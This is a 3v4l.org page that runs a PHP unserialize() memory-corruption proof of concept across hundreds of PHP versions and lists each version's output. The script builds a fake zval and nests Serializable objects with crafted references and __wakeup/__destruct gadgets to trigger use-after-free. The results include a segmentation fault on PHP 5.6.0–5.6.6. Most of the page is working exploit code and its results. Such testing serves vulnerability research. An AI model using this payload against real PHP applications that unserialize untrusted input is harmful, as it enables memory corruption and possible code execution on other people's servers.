3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } class aod { public $aod; public function __destruct() { $this->aod=null;echo('des'); } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'a:1:{i:0;R:3;'; $exploit = 'a:3:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $exploit.= 'i:1;s:'.strlen($fakezval).':"'.$fakezval.'";'; $exploit.= 'i:2;a:1:{i:13;a:1:{i:15;r:4;}}}'; $i='O:3:"aod":2:{s:3:"aod";a:5:{i:0;R:5;i:1;R:3;'; $j='C:3:"obj":'.strlen($i).':{'.$i.'}'; $k='C:3:"obj":'.strlen($j).':{'.$j.'}'; $l='a:2:{i:0;'.$k.'i:1;R:5;}'; $data = unserialize($l); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
Output for 8.3.0 - 8.3.28, 8.4.1 - 8.4.14, 8.5.0
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/AeavT on line 3 Warning: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 Warning: unserialize(): Error at offset 91 of 92 bytes in /in/AeavT on line 42 desbool(false)
Output for 8.4.15
/bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.35' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.34' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15)
Process exited with code 1.
Output for 8.1.0 - 8.1.33, 8.2.0 - 8.2.29
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/AeavT on line 3 Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 Notice: unserialize(): Error at offset 91 of 92 bytes in /in/AeavT on line 42 desbool(false)
Output for 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 Notice: unserialize(): Error at offset 91 of 92 bytes in /in/AeavT on line 42 desbool(false)
Output for 7.3.32 - 7.3.33
desbool(false)
Output for 7.0.14 - 7.0.33
Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 des Notice: unserialize(): Error at offset 91 of 92 bytes in /in/AeavT on line 42 bool(false)
Output for 7.0.10 - 7.0.13
des Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 Notice: unserialize(): Error at offset 91 of 92 bytes in /in/AeavT on line 42 bool(false)
Output for 7.0.0 - 7.0.9
des Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> object(obj)#2 (1) { ["data"]=> bool(false) } } [1]=> NULL }
Output for 5.6.26 - 5.6.40
Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> object(obj)#2 (1) { ["data"]=> bool(false) } } [1]=> &array(2) { [0]=> *RECURSION* [1]=> object(obj)#2 (1) { ["data"]=> bool(false) } } }
Output for 5.6.25
Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> object(obj)#2 (1) { ["data"]=> bool(false) } } [1]=> &array(2) { [0]=> *RECURSION* [1]=> object(obj)#2 (1) { ["data"]=> bool(false) } } } des
Output for 5.6.7 - 5.6.24
des Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> object(obj)#2 (1) { ["data"]=> bool(false) } } [1]=> &array(2) { [0]=> *RECURSION* [1]=> object(obj)#2 (1) { ["data"]=> bool(false) } } }
Output for 5.6.0 - 5.6.6
des Notice: unserialize(): Error at offset 44 of 44 bytes in /in/AeavT on line 9 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> object(obj)#2 (1) { ["data"]=> bool(false) } } [1]=>
Process exited with code 139.
preferences:
125.06 ms | 423 KiB | 5 Q